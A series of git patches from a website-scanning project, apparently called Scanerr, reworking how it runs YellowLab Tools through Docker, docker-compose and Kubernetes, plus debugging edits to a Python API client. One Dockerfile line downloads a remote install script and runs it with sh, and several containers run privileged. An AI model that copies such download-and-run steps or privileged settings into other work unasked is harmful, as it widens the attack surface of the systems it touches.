Subject: [PATCH 0336/1099] removed pull cmd

---
 Dockerfile | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 6db58615..ae3d0d0e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -45,7 +45,4 @@ RUN rm -rf ~/.config/chromium
 
 # install docker
 RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
-    sh get-docker.sh
-
-# pull yellowlab image
-FROM ousamabenyounes/yellowlabtools
\ No newline at end of file
+    sh get-docker.sh
\ No newline at end of file

From 0869adc43b30be0234ac2e75a00b4714f9b50f63 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 12:53:36 -0600
Subject: [PATCH 0337/1099] testing new build

---
 Dockerfile             | 4 ++++
 docker-compose.dev.yml | 4 ++--
 2 files changed, 6 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index ae3d0d0e..8397249a 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,3 +1,7 @@
+# pull yellowlab image
+FROM ousamabenyounes/yellowlabtools
+
+# pull main python image
 FROM python:3.9-slim
 ENV PYTHONUNBUFFERED 1
 
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index f4f5d8e4..153e0e68 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -23,7 +23,7 @@ services:
              sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start && 
              sleep 10 &&
-             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
+             docker run -d --privileged --env 'DEBUG=*' -p 8383:8383 ousamabenyounes/yellowlabtools &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -60,7 +60,7 @@ services:
       sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start && 
              sleep 10 &&
-             docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools &&
+             docker run -d --privileged --env 'DEBUG=*' -p 8383:8383 ousamabenyounes/yellowlabtools &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr

From 7e859fd8685fab6b2f79fea6a927dea68562ed77 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 12:57:51 -0600
Subject: [PATCH 0338/1099] removed usless pull

---
 Dockerfile | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 8397249a..2db1538e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,6 +1,3 @@
-# pull yellowlab image
-FROM ousamabenyounes/yellowlabtools
-
 # pull main python image
 FROM python:3.9-slim
 ENV PYTHONUNBUFFERED 1

From fe115a27fe3a88528cbae4d56678a73a6e955ee1 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 13:47:58 -0600
Subject: [PATCH 0339/1099] reverting to ylt container implementation

---
 Dockerfile                 |  6 +--
 app/api/utils/yellowlab.py | 78 +++++++++++++++++++-------------------
 docker-compose.dev.yml     | 29 ++++++++------
 3 files changed, 57 insertions(+), 56 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 2db1538e..157353e3 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -42,8 +42,4 @@ RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium
 
 # removing chromium config
-RUN rm -rf ~/.config/chromium
-
-# install docker
-RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
-    sh get-docker.sh
\ No newline at end of file
+RUN rm -rf ~/.config/chromium
\ No newline at end of file
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 42763b6c..8924f987 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -45,7 +45,7 @@ def yellowlab_api(self) -> dict:
         }
         data = {
             "url": self.page.page_url,
-            "waitForResponse": False,
+            "waitForResponse": True,
             "device": self.configs["device"]
         }
 
@@ -58,45 +58,45 @@ def yellowlab_api(self) -> dict:
         ).json()
 
         # retrieve runId
-        run_id = res['runId']
+        # run_id = res['runId']
         
-        wait_time = 0
-        max_wait = 1200
-        done = False
-
-        # waiting for run to complete
-        while not done and wait_time < max_wait:
-
-            # sending run request check
-            print('checking YLT API request...')
-            res = requests.get(
-                url=f'{settings.YELLOWLAB_ROOT}/api/runs/{run_id}',
-                headers=headers
-            ).json()
-
-            # checking status
-            status = res['status']['statusCode']
-            position = res['status'].get('position')
-            if status == 'awaiting':
-                max_wait = (120 * position)
-            if status == 'complete':
-                done = True
-            if status == 'failed':
-                print('YELLOWLAB API FAILED')
-                raise RuntimeError
-                break
-
-            # incrementing time
-            time.sleep(5)
-            wait_time += 5
-
-
-        # getting run results
-        print('retrieveing YLT API request...')
-        res = requests.get(
-            url=f'{settings.YELLOWLAB_ROOT}/api/results/{run_id}',
-            headers=headers
-        ).json()
+        # wait_time = 0
+        # max_wait = 1200
+        # done = False
+
+        # # waiting for run to complete
+        # while not done and wait_time < max_wait:
+
+        #     # sending run request check
+        #     print('checking YLT API request...')
+        #     res = requests.get(
+        #         url=f'{settings.YELLOWLAB_ROOT}/api/runs/{run_id}',
+        #         headers=headers
+        #     ).json()
+
+        #     # checking status
+        #     status = res['status']['statusCode']
+        #     position = res['status'].get('position')
+        #     if status == 'awaiting':
+        #         max_wait = (120 * position)
+        #     if status == 'complete':
+        #         done = True
+        #     if status == 'failed':
+        #         print('YELLOWLAB API FAILED')
+        #         raise RuntimeError
+        #         break
+
+        #     # incrementing time
+        #     time.sleep(5)
+        #     wait_time += 5
+
+
+        # # getting run results
+        # print('retrieveing YLT API request...')
+        # res = requests.get(
+        #     url=f'{settings.YELLOWLAB_ROOT}/api/results/{run_id}',
+        #     headers=headers
+        # ).json()
     
         return res
 
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 153e0e68..0cf5c7c8 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -19,11 +19,7 @@ services:
              python3 manage.py wait_for_db &&
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
-             python3 manage.py driver_p_test && 
-             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
-             service docker start && 
-             sleep 10 &&
-             docker run -d --privileged --env 'DEBUG=*' -p 8383:8383 ousamabenyounes/yellowlabtools &&
+             python3 manage.py driver_p_test &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -57,11 +53,7 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
-             service docker start && 
-             sleep 10 &&
-             docker run -d --privileged --env 'DEBUG=*' -p 8383:8383 ousamabenyounes/yellowlabtools &&
-             celery -A scanerr worker --beat --scheduler django --loglevel=info"
+      sh -c "celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr
     env_file:
@@ -71,6 +63,21 @@ services:
       - app
       - db
     
+
+    
+  yellowlab:
+    container_name: yellowlab
+    privileged: true
+    restart: always
+    image: scanerr/ylt
+    ports:
+      - 8383:8383
+    depends_on:
+      - redis
+      - celery 
+      - app
+      - db
+    
       
 
   nginx-proxy:
@@ -90,7 +97,6 @@ services:
       - app
   
   
-
   nginx-proxy-letsencrypt:
     image: nginxproxy/acme-companion  # LEGACY -> jrcs/letsencrypt-nginx-proxy-companion 
     env_file:
@@ -105,7 +111,6 @@ services:
       - nginx-proxy
 
 
-
 volumes:
   static_volume:
   letsencrypt-acme:

From af618d8bb38b385db0a85b8bdd70c1e8a3fd445a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 14:15:30 -0600
Subject: [PATCH 0340/1099] debugging

---
 app/api/utils/yellowlab.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 8924f987..0befa8b5 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -57,6 +57,8 @@ def yellowlab_api(self) -> dict:
             headers=headers
         ).json()
 
+        print(f'res -> {res}')
+
         # retrieve runId
         # run_id = res['runId']
         

From cb2b2e3f3e32a2120be4ae4e844118dffa057243 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 15:57:57 -0600
Subject: [PATCH 0341/1099] testing new ylt methods

---
 .gitignore                     |  1 +
 app/api/utils/yellowlab.py     | 81 +++++++++++++++++-----------------
 functions/yellowlab/Dockerfile |  2 +-
 k8s/prod/ylt-autoscaler.yaml   | 17 +++++++
 k8s/prod/ylt-deployment.yaml   | 50 +++++++++++++++++++++
 notes/Kubernetes.md            |  6 +++
 6 files changed, 116 insertions(+), 41 deletions(-)
 create mode 100644 k8s/prod/ylt-autoscaler.yaml
 create mode 100644 k8s/prod/ylt-deployment.yaml

diff --git a/.gitignore b/.gitignore
index d462f57a..f9aedcb0 100644
--- a/.gitignore
+++ b/.gitignore
@@ -18,3 +18,4 @@ app/static*
 app/api/migrations/*_*.py
 k8s/*/*-configs.yaml
 
+app/api/v1/ops/test.py
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 0befa8b5..be8f4822 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -57,48 +57,49 @@ def yellowlab_api(self) -> dict:
             headers=headers
         ).json()
 
-        print(f'res -> {res}')
+        # retrieve runId & pod_ip if present
+        run_id = res['runId']
+        pod_ip = res['pod_ip']
 
-        # retrieve runId
-        # run_id = res['runId']
+        NEW_ROOT = f'http://{pod_ip}' if pod_ip else settings.YELLOWLAB_ROOT
         
-        # wait_time = 0
-        # max_wait = 1200
-        # done = False
-
-        # # waiting for run to complete
-        # while not done and wait_time < max_wait:
-
-        #     # sending run request check
-        #     print('checking YLT API request...')
-        #     res = requests.get(
-        #         url=f'{settings.YELLOWLAB_ROOT}/api/runs/{run_id}',
-        #         headers=headers
-        #     ).json()
-
-        #     # checking status
-        #     status = res['status']['statusCode']
-        #     position = res['status'].get('position')
-        #     if status == 'awaiting':
-        #         max_wait = (120 * position)
-        #     if status == 'complete':
-        #         done = True
-        #     if status == 'failed':
-        #         print('YELLOWLAB API FAILED')
-        #         raise RuntimeError
-        #         break
-
-        #     # incrementing time
-        #     time.sleep(5)
-        #     wait_time += 5
-
-
-        # # getting run results
-        # print('retrieveing YLT API request...')
-        # res = requests.get(
-        #     url=f'{settings.YELLOWLAB_ROOT}/api/results/{run_id}',
-        #     headers=headers
-        # ).json()
+        wait_time = 0
+        max_wait = 1200
+        done = False
+
+        # waiting for run to complete
+        while not done and wait_time < max_wait:
+
+            # sending run request check
+            print('checking YLT API request...')
+            res = requests.get(
+                url=f'{NEW_ROOT}/api/runs/{run_id}',
+                headers=headers
+            ).json()
+
+            # checking status
+            status = res['status']['statusCode']
+            position = res['status'].get('position')
+            if status == 'awaiting':
+                max_wait = (120 * position)
+            if status == 'complete':
+                done = True
+            if status == 'failed':
+                print('YELLOWLAB API FAILED')
+                raise RuntimeError
+                break
+
+            # incrementing time
+            time.sleep(5)
+            wait_time += 5
+
+
+        # getting run results
+        print('retrieveing YLT API request...')
+        res = requests.get(
+            url=f'{NEW_ROOT}/api/results/{run_id}',
+            headers=headers
+        ).json()
     
         return res
 
diff --git a/functions/yellowlab/Dockerfile b/functions/yellowlab/Dockerfile
index 2be57998..c4e23a3b 100644
--- a/functions/yellowlab/Dockerfile
+++ b/functions/yellowlab/Dockerfile
@@ -15,7 +15,7 @@ ENV GENERATE_SOURCEMAP=false
 WORKDIR /usr/src/ylt
 
 RUN apk upgrade --update && apk --no-cache add git gcc make g++ zlib-dev libjpeg-turbo-dev nasm automake autoconf libtool \
-  && git clone https://github.com/YellowLabTools/YellowLabTools-server.git -b main . \
+  && git clone https://github.com/Scanerr-io/ylt-server -b main . \
   && NODE_ENV=production && export CPPFLAGS="-DPNG_ARM_NEON_OPT=0" && npm install --unsafe-perm=true --allow-root --legacy-peer-deps --omit=dev \
   && echo "http://dl-cdn.alpinelinux.org/alpine/edge/main" > /etc/apk/repositories \
   && echo "http://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories \
diff --git a/k8s/prod/ylt-autoscaler.yaml b/k8s/prod/ylt-autoscaler.yaml
new file mode 100644
index 00000000..1c4071f4
--- /dev/null
+++ b/k8s/prod/ylt-autoscaler.yaml
@@ -0,0 +1,17 @@
+apiVersion: keda.sh/v1alpha1
+kind: ScaledObject
+metadata:
+  name: ylt-scaler
+spec:
+  scaleTargetRef:
+    name: ylt-deployment
+  cooldownPeriod:  4000
+  pollingInterval: 15
+  minReplicaCount: 2
+  maxReplicaCount: 15
+  triggers:
+    - type: metrics-api
+      metadata:
+        targetValue: "5"
+        url: "https://api.scanerr.io/v1/ops/metrics/celery"
+        valueLocation: "num_tasks"
\ No newline at end of file
diff --git a/k8s/prod/ylt-deployment.yaml b/k8s/prod/ylt-deployment.yaml
new file mode 100644
index 00000000..2beb34ce
--- /dev/null
+++ b/k8s/prod/ylt-deployment.yaml
@@ -0,0 +1,50 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: ylt-deployment
+  labels:
+    deployment: yellowlab
+spec:
+  replicas: 2
+  selector:
+    matchLabels:
+      app: ylt-deployment
+  template:
+    metadata:
+      labels:
+        app: ylt-deployment
+    spec:
+      containers:
+      - name: yellowlab
+        image: scanerr/ylt
+        env:
+        - name: POD_IP
+          valueFrom:
+            fieldRef:
+              fieldPath: status.podIP
+        ports:
+        - containerPort: 8383
+        securityContext:
+          privileged: true
+        resources:
+          limits:
+            cpu: "1"
+            memory: "4Gi"
+          requests:
+            cpu: ".5"
+            memory: "1Gi"
+---
+
+apiVersion: v1
+kind: Service
+metadata:
+  name: ylt-service
+  labels:
+    service: ylt
+spec:
+  selector:
+    app: ylt-deployment
+  ports:
+  - name: http
+    port: 80
+    targetPort: 8383
\ No newline at end of file
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index d34df275..3f0bde4a 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -114,6 +114,12 @@ kubectl port-forward service/app-service 8000:8000
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-autoscaler.yaml`
 
 
+#### 4.a  Spin up YLT deploymemt, service, and autoscaler
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/ylt-deployment.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/ylt-service.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/ylt-autoscaler.yaml`
+
+
 ### 5. Add app Ingress
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
 

From 8158d1413e70a9d78f5b7a6d9fea3bf40b036362 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 16:07:15 -0600
Subject: [PATCH 0342/1099] added port to NEW_ROOT

---
 app/api/utils/yellowlab.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index be8f4822..8c2d9c4e 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -61,7 +61,7 @@ def yellowlab_api(self) -> dict:
         run_id = res['runId']
         pod_ip = res['pod_ip']
 
-        NEW_ROOT = f'http://{pod_ip}' if pod_ip else settings.YELLOWLAB_ROOT
+        NEW_ROOT = f'http://{pod_ip}:8383' if pod_ip else settings.YELLOWLAB_ROOT
         
         wait_time = 0
         max_wait = 1200

From 3cbb0fe4d1a9155d826803cd7be13a62210af29d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 16:53:01 -0600
Subject: [PATCH 0343/1099] debugging

---
 app/api/utils/yellowlab.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 8c2d9c4e..aff387dd 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -57,9 +57,11 @@ def yellowlab_api(self) -> dict:
             headers=headers
         ).json()
 
+        print(res)
+
         # retrieve runId & pod_ip if present
         run_id = res['runId']
-        pod_ip = res['pod_ip']
+        pod_ip = res.get('pod_ip')
 
         NEW_ROOT = f'http://{pod_ip}:8383' if pod_ip else settings.YELLOWLAB_ROOT
         

From 1a555d5db566dca98fc6bdf719b9f2d260c2eb36 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 17:43:18 -0600
Subject: [PATCH 0344/1099] still debugging

---
 app/api/utils/yellowlab.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index aff387dd..519b1728 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -63,7 +63,8 @@ def yellowlab_api(self) -> dict:
         run_id = res['runId']
         pod_ip = res.get('pod_ip')
 
-        NEW_ROOT = f'http://{pod_ip}:8383' if pod_ip else settings.YELLOWLAB_ROOT
+        NEW_ROOT = f'http://{pod_ip}:8383' if pod_ip != None else settings.YELLOWLAB_ROOT
+        print(f'setting NEW_ROOT to -> {NEW_ROOT}')
         
         wait_time = 0
         max_wait = 1200

From 6e1a03b461ca7ee5919860068c4dc5b012e68ba3 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 17:54:42 -0600
Subject: [PATCH 0345/1099] still debugging

---
 app/api/utils/yellowlab.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 519b1728..82ec5b27 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -80,6 +80,8 @@ def yellowlab_api(self) -> dict:
                 headers=headers
             ).json()
 
+            print(f'res -> {res}')
+
             # checking status
             status = res['status']['statusCode']
             position = res['status'].get('position')

From 5413f078362f4c60799adc46704594f62ff2fdea Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 18:42:17 -0600
Subject: [PATCH 0346/1099] debugging

---
 app/api/utils/scanner.py   | 20 +++++-----
 app/api/utils/yellowlab.py | 82 +++++++++++++++++++-------------------
 2 files changed, 51 insertions(+), 51 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index df40232b..b405b4cf 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -578,16 +578,16 @@ def _yellowlab(scan_id, test_id, automation_id):
     """ 
     scan = Scan.objects.get(id=scan_id)
     
-    try:
-        # running yellowlab
-        yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
-        
-        # updating Scan object
-        scan = Scan.objects.get(id=scan_id)
-        scan.yellowlab = yl_data
-        scan.save()
-    except Exception as e:
-        print(e)
+    # try:
+    # running yellowlab
+    yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
+    
+    # updating Scan object
+    scan = Scan.objects.get(id=scan_id)
+    scan.yellowlab = yl_data
+    scan.save()
+    # except Exception as e:
+    #     print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 82ec5b27..96ffc0be 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -237,47 +237,47 @@ def get_data(self):
         # except Exception as e:
             # print(e)
 
-        try:
-            raw_data = self.yellowlab_api()
-            data = self.process_data(stdout_json=raw_data)
-            return data
-
-        except Exception as e:
-            print(f'YELLOWLAB API FAILED --> {e}')
-
-            scores = {
-                "globalScore": None,
-                "pageWeight": None, 
-                "requests": None, 
-                "domComplexity": None, 
-                "javascriptComplexity": None,
-                "badJavascript": None,
-                "jQuery": None,
-                "cssComplexity": None,
-                "badCSS": None,
-                "fonts": None,
-                "serverConfig": None,
-            }
-
-            audits = {
-                "pageWeight": [], 
-                "requests": [], 
-                "domComplexity": [], 
-                "javascriptComplexity": [],
-                "badJavascript": [],
-                "jQuery": [],
-                "cssComplexity": [],
-                "badCSS": [],
-                "fonts": [],
-                "serverConfig": [],
-            }
-
-            data = {
-                "scores": scores, 
-                "audits": audits,
-                "failed": True
-            }
+        # try:
+        raw_data = self.yellowlab_api()
+        data = self.process_data(stdout_json=raw_data)
+        return data
+
+        # except Exception as e:
+        #     print(f'YELLOWLAB API FAILED --> {e}')
+
+        #     scores = {
+        #         "globalScore": None,
+        #         "pageWeight": None, 
+        #         "requests": None, 
+        #         "domComplexity": None, 
+        #         "javascriptComplexity": None,
+        #         "badJavascript": None,
+        #         "jQuery": None,
+        #         "cssComplexity": None,
+        #         "badCSS": None,
+        #         "fonts": None,
+        #         "serverConfig": None,
+        #     }
+
+        #     audits = {
+        #         "pageWeight": [], 
+        #         "requests": [], 
+        #         "domComplexity": [], 
+        #         "javascriptComplexity": [],
+        #         "badJavascript": [],
+        #         "jQuery": [],
+        #         "cssComplexity": [],
+        #         "badCSS": [],
+        #         "fonts": [],
+        #         "serverConfig": [],
+        #     }
+
+        #     data = {
+        #         "scores": scores, 
+        #         "audits": audits,
+        #         "failed": True
+        #     }
         
-            return data
+        #     return data
         
 

From c70598fa7b355f218de3f9cba2c73dd5e4ff2ada Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 18:45:30 -0600
Subject: [PATCH 0347/1099] fixing dict comprehension

---
 app/api/utils/scanner.py   | 20 ++++-----
 app/api/utils/yellowlab.py | 86 +++++++++++++++++++-------------------
 2 files changed, 53 insertions(+), 53 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index b405b4cf..df40232b 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -578,16 +578,16 @@ def _yellowlab(scan_id, test_id, automation_id):
     """ 
     scan = Scan.objects.get(id=scan_id)
     
-    # try:
-    # running yellowlab
-    yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
-    
-    # updating Scan object
-    scan = Scan.objects.get(id=scan_id)
-    scan.yellowlab = yl_data
-    scan.save()
-    # except Exception as e:
-    #     print(e)
+    try:
+        # running yellowlab
+        yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
+        
+        # updating Scan object
+        scan = Scan.objects.get(id=scan_id)
+        scan.yellowlab = yl_data
+        scan.save()
+    except Exception as e:
+        print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 96ffc0be..24fa0e9a 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -83,8 +83,8 @@ def yellowlab_api(self) -> dict:
             print(f'res -> {res}')
 
             # checking status
-            status = res['status']['statusCode']
-            position = res['status'].get('position')
+            status = res['run']['status']['statusCode']
+            position = res['run']['status'].get('position')
             if status == 'awaiting':
                 max_wait = (120 * position)
             if status == 'complete':
@@ -237,47 +237,47 @@ def get_data(self):
         # except Exception as e:
             # print(e)
 
-        # try:
-        raw_data = self.yellowlab_api()
-        data = self.process_data(stdout_json=raw_data)
-        return data
-
-        # except Exception as e:
-        #     print(f'YELLOWLAB API FAILED --> {e}')
-
-        #     scores = {
-        #         "globalScore": None,
-        #         "pageWeight": None, 
-        #         "requests": None, 
-        #         "domComplexity": None, 
-        #         "javascriptComplexity": None,
-        #         "badJavascript": None,
-        #         "jQuery": None,
-        #         "cssComplexity": None,
-        #         "badCSS": None,
-        #         "fonts": None,
-        #         "serverConfig": None,
-        #     }
-
-        #     audits = {
-        #         "pageWeight": [], 
-        #         "requests": [], 
-        #         "domComplexity": [], 
-        #         "javascriptComplexity": [],
-        #         "badJavascript": [],
-        #         "jQuery": [],
-        #         "cssComplexity": [],
-        #         "badCSS": [],
-        #         "fonts": [],
-        #         "serverConfig": [],
-        #     }
-
-        #     data = {
-        #         "scores": scores, 
-        #         "audits": audits,
-        #         "failed": True
-        #     }
+        try:
+            raw_data = self.yellowlab_api()
+            data = self.process_data(stdout_json=raw_data)
+            return data
+
+        except Exception as e:
+            print(f'YELLOWLAB API FAILED --> {e}')
+
+            scores = {
+                "globalScore": None,
+                "pageWeight": None, 
+                "requests": None, 
+                "domComplexity": None, 
+                "javascriptComplexity": None,
+                "badJavascript": None,
+                "jQuery": None,
+                "cssComplexity": None,
+                "badCSS": None,
+                "fonts": None,
+                "serverConfig": None,
+            }
+
+            audits = {
+                "pageWeight": [], 
+                "requests": [], 
+                "domComplexity": [], 
+                "javascriptComplexity": [],
+                "badJavascript": [],
+                "jQuery": [],
+                "cssComplexity": [],
+                "badCSS": [],
+                "fonts": [],
+                "serverConfig": [],
+            }
+
+            data = {
+                "scores": scores, 
+                "audits": audits,
+                "failed": True
+            }
         
-        #     return data
+            return data
         
 

From 95a85f6774b39fabf81f7b4f1c44d2cbf7526240 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 19:26:25 -0600
Subject: [PATCH 0348/1099] rolling out new version of YLT

---
 .github/workflows/k8s-deploy.yaml |  8 ++++----
 app/api/utils/yellowlab.py        | 23 -----------------------
 k8s/prod/ylt-deployment.yaml      |  1 +
 notes/Kubernetes.md               |  7 +++----
 4 files changed, 8 insertions(+), 31 deletions(-)

diff --git a/.github/workflows/k8s-deploy.yaml b/.github/workflows/k8s-deploy.yaml
index 2a9a6b93..4863cb6e 100644
--- a/.github/workflows/k8s-deploy.yaml
+++ b/.github/workflows/k8s-deploy.yaml
@@ -38,21 +38,21 @@ jobs:
     
     # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
     - name: Build container image
-      run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
+      run: docker build -t ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7) .
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
       run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }}
 
     - name: Push image to DigitalOcean Container Registry
-      run: docker image push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
+      run: docker image push ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7)
 
     # Update deployment files to reflect new build.
     - name: Update app deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
     
     - name: Update celery deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
 
     - name: Save DigitalOcean kubeconfig with short-lived credentials
       run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 24fa0e9a..947e74c9 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -213,29 +213,6 @@ def process_data(self, stdout_json: dict) -> dict:
 
 
     def get_data(self):
-        
-        # try CLI method first
-        # try:
-        #     stdout_value = self.init_audit() 
-        #     # decode bytes into string
-        #     stdout_string = stdout_value.decode('iso-8859-1')
-        
-        #     if len(stdout_string) != 0:
-        #         if 'Runtime error encountered' in stdout_string:
-        #             error = {'error': 'yellowlab ran into a problem',}
-        #             return error
-
-        #         # convert to dict
-        #         stdout_json = json.loads(stdout_value)
-        #         data = self.process_data(stdout_json=stdout_json)
-        #         return data
-                
-        #     else:
-        #         raise RuntimeError
-        
-        # try API method if CLI fails
-        # except Exception as e:
-            # print(e)
 
         try:
             raw_data = self.yellowlab_api()
diff --git a/k8s/prod/ylt-deployment.yaml b/k8s/prod/ylt-deployment.yaml
index 2beb34ce..37277f4e 100644
--- a/k8s/prod/ylt-deployment.yaml
+++ b/k8s/prod/ylt-deployment.yaml
@@ -14,6 +14,7 @@ spec:
       labels:
         app: ylt-deployment
     spec:
+      terminationGracePeriodSeconds: 4000
       containers:
       - name: yellowlab
         image: scanerr/ylt
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 3f0bde4a..af3516c1 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
